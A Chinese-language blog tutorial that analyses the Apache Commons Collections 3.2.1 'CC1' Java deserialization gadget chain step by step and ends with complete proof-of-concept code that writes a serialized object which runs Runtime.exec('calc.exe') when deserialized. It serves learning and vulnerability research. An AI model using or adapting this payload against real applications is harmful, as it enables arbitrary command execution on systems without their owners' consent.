Apache Commons Collections 是一个开源的 Java 工具类库,属于 Apache Commons 项目的一部分。它提供了许多扩展和增强标准 Java 集合框架的功能,帮助开发者更高效地处理集合操作。
附带CC的jar文件和源代码的下载地址
https://commons.apache.org/proper/commons-collections/
记得在pom.xml里添加依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map().setValue()
TransformedMap.decorate()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
在org/apache/commons/collections/functors存在InvokerTransformer类,该类的定义如下:
public class InvokerTransformer implements Transformer, Serializable {
/** The serial version */
private static final long serialVersionUID = -8653385846894047688L;
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
可见该类实现了Serializable所以可被反序列化和反序列化。在此类中存在Tranformer方法,cc1链梦开始的地方。
对Tranformer方法进行审计,我们发现,Tranformer方法通过反射机制动态调用传入对象的指定方法(方法名和参数类型由类属性指定),并返回方法的执行结果;如果传入对象为null
,则直接返回null
。
那么如果我们直接传入Runtime
对象,并将InvokerTransformer类的类属性设置为执行命令的参数,不就可以达到命令执行的效果了嘛。
于是我们开始验证
public void test1() throws Exception{
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
invokerTransformer.transform(runtime);
}
代码执行的结果表明,InvokerTransfomer类的transform方法完全可以作为漏洞执行的终点。
下一步我们就要查找哪里调用了InvokerTransfomer类的transform方法。
说实话真的好多,最后在TransformedMap类里边的checkSetValue()通过valueTransformer调用了transform。
而valueTransformer来源于TransformedMap类的构造方法,因此我们就可以控制调用类,执行其transform方法。
但是有一个问题,TransformedMap类的构造方法修饰符为protected。
说明外部无法调用,那么只能通过内部调用。于是我们在本类内部找到了两处调用构造方法的方法。
我们优先使用TransformedMap#decorate(因为比较简单)
通过TransformedMap#decorate实例化TransformedMap对象
public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
}
调用checkSetvalue方法
这里显示报错,原因是TransformedMap#decorate返回map对象,所以transformedMap是由Map声明,所以不能直接调用checkSetvalue。只能再找哪里调用了checkSetValue。
可以看到AbstractInputCheckedMapDecorator类下边的静态内部类MapEntry中的setValue调用了checkSetValue。注意静态类不必实例化,可以直接由当前类调用的类。另外AbstractMapDecorator 是一个抽象类,为装饰一个 Map 提供了基类,AbstractInputCheckedMapDecorator 继承自它,而 TransformedMap 又继承自 AbstractInputCheckedMapDecorator。
所以,此时可以构造以下代码,实现调用。说明这一段链条成立
public void test2(){
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Transformer keyTransformer = null;
Transformer valueTransformer = invokerTransformer;
Map<Object, Object> transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
for (Map.Entry entry: transformedMap.entrySet()) {
entry.setValue(runtime); // 此处调用setValue时会触发整个链条,打开计算器
}
}
注意:entrySet()的源头来自父类AbstractMapDecorator的默认实现。
接下来寻找谁在调用AbstractMapDecorator类下的静态类的setValue(),最后在JDK内置的对象sun.reflect.annotation.AnnotationInvocationHandler中重写的readObject方法发现在调用setValue方法
而且AnnotationInvocationHandler类继承了Serializeble接口。
如果这条调用链成立,那么我们直接将AnnotationInvocationHandler的序列化即可完成操作,并且通过readObject在反序列化就可以实现链条的调用。
接下来我们进行尝试:
发现AnnotationInvocationHandler访问修饰符为default,在外部无法直接被实例化,所以只能尝试使用反射进行实例化操作。而且
我们来看下AnnotationInvocationHandler的构造方法
构造函数参数要接受两个参数值,一个注解类型,一个map,另外,我们注意到调用点memberValue来源于AnnotationInvocationHandler的类属性memberValues。
于是写出以下序列化代码:
public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}
接着我们进行反序列化操作,发现并不能弹出计算机。
我们动调来确定是什么原因引起的:
发现代码无法执行到setValue方法处。
memberType 来源于通过调用 AnnotationType.getInstance(type) 获取的 AnnotationType 对象中的 memberTypes() 映射,包含将注解成员名称。(注解学习链接:https://www.cnblogs.com/wobushitiegan/p/12460575.html)
而Override 注解没有任何成员方法,所以通过 AnnotationType.getInstance(Override.class) 得到的 memberTypes 映射为空。
因此,我们需要找到有成员方法的注解。就比如Target注解
然后我们继续调试,很遗憾,依旧不行
但是我们注意到memberTypes为hashmap,hashmap的键名为value,值为那一串。所以name的值应该为value(此时为key)。
而name是通过调用 memberValue.getKey() 获得的, memberValue 来自于对 memberValues.entrySet() 的遍历。所以我们仅需要修改在我们前面构造的map,将键名改为value,值随意。
于是代码修改如下
public void test3() throws Exception {
Runtime runtime = Runtime.getRuntime();
String methodName = "exec";
Class[] paramTypes = new Class[] {String.class};
Object[] args = new Object[] {"calc.exe"};
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName, paramTypes, args);
Map map = new HashMap();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream ser = new FileOutputStream("./cc1.ser");
ObjectOutputStream result = new ObjectOutputStream(ser);
result.writeObject(obj);
System.out.println("ser ok");
}
我们继续动调
已经成功进入。但是仍旧没弹计算器,甚至还会抛异常。究其原因,是执行过程中,到达漏洞触发点发现并没有将Runtime对象传进来
我们对此进行分析,是因为在AnnotationInvocationHandler的452行,出现了 new AnnotationTypeMismatchExceptionProxy 代码,写死了传入的类。
那么如何解决呢,核心思路就是替换AnnotationTypeMismatchExceptionProxy类实例为Runtime对象。这里不得不佩服构造出cc1链的人,找到了ConstantTransformer
这个类的transform很有意思
public ConstantTransformer(Object constantToReturn) {//构造方法
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
无论传入什么类型,都只返回iConstant,而iConstant是ConstantTransformer类的属性。只要我们将类属性设置为Runtime,不就可以完成cc1链的调用了么。
但是最后还有一个问题,在未进行序列化之前的构造链的Runtime对象是我们自己new出来的,但是我们查看Runtime类,发现并没有实现Serializable,所以不可被反序列化和反序列化。
但是类的原型class是可以被序列化的,因此我们需要通过Class入手,构造出来Runtime对象,也就是通过反射。
代码如下:
public void run_test() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Runtime r=Runtime.getRuntime();
Class<?> c = Runtime.class;
// 获取 getRuntime() 方法
Method getRuntimeMethod = c.getMethod("getRuntime");
// 调用 getRuntime() 方法,获取 Runtime 实例
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
// 获取 exec(String) 方法
Method execMethod = c.getDeclaredMethod("exec", String.class);
// 调用 exec("calc") 方法
execMethod.invoke(runtime, "calc");
}
可以执行
然后我们将其改成通过InvokerTransformer反射调用。
public void Invok_run_test(){
// 通过InvokerTransformer反射调用Runtime.class中的"getMethod"方法,
// 获取到代表Runtime.getRuntime()方法的Method对象
Method getRuntimeMethod = (Method) new InvokerTransformer(
"getMethod", // 要调用的方法名称
new Class[]{String.class, Class[].class}, // 参数类型数组:方法名和参数类型数组
new Object[]{"getRuntime", new Class[]{}} // 参数值:方法名称"getRuntime"和空的参数类型数组
).transform(Runtime.class); // 在Runtime的Class对象上执行transform
// 使用InvokerTransformer反射调用刚才获取的getRuntimeMethod的"invoke"方法,
// 从而调用getRuntime()方法获得Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer(
"invoke", // 要调用的方法名称
new Class[]{Object.class, Object[].class}, // 参数类型数组:目标对象和参数数组
new Object[]{null, new Object[]{}} // 参数值:静态方法调用时目标对象为null,且无参数
).transform(getRuntimeMethod);
// 使用InvokerTransformer反射调用Runtime实例中的"exec"方法,
// 执行"calc"命令,启动计算器程序(适用于Windows系统)
new InvokerTransformer(
"exec", // 要调用的方法名称,即exec方法
new Class[]{String.class}, // 参数类型数组,表示exec方法的参数类型为String
new Object[]{"calc"} // 参数值数组,这里传入"calc"命令
).transform(runtime); // 在runtime实例上执行transform
}
该代码中分别创建了三个 InvokerTransformer 对象来依次调用,无法将多个操作连贯地组合成一个整体。
我们观察以上代码像不像链式调用,也就是上一步的输出作为下一步的输入。而且在实际利用过程中,我们需要一个延迟执行且能够序列化传输的 gadget 链,这时也就引入了另外一个类ChainedTransformer,该类也存在transform方法,代码及说明如下:
public Object transform(Object object) {
// 遍历每个转换器
for (int i = 0; i < iTransformers.length; i++) {
// 将当前对象传递给转换器,并将结果赋值回对象
object = iTransformers[i].transform(object);
}
// 返回最终转换结果
return object;
}
||
A=B.transform(c)//第一轮
D=E.transform(A)//第二轮
按照以上代码的思路,假如如果我们给iTransformer赋值为ConstantTransformer就会调用ConstantTransformer的transform,如果给iTransformer赋值为InvokerTransformer就会调用InvokerTransformer的transform,那么通过将 ConstantTransformer 和 InvokerTransformer 组合到 ChainedTransformer 中,可以构建一个转换链,实现复杂的对象转换或方法调用。例如,首先使用 ConstantTransformer 返回 Runtime.class,然后通过一系列 InvokerTransformer 调用 getMethod、invoke 和 exec 方法,最终执行系统命令。
于是生成了我们最终的序列化调用链:
public void result_poc() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
// 链式调用,逐步赋值
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "aaaaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
FileOutputStream fos = new FileOutputStream("./apachecc1_result.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
我们动调,看下具体的反序列化过程:
在TransformedMap类中valueTransformer值为ChainedTransformer,所以下一步去调用ChainedTransformer#transforme
第一轮,是AnnotationTypeMismatchExceptionProxy类
调用ConstantTransformer#transformer,传入的是AnnotationTypeMismatchExceptionProxy,返回的是Runtime
获取Runtime的getRuntime方法
最后获取实例,弹出计算器
CC1链构造完毕。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。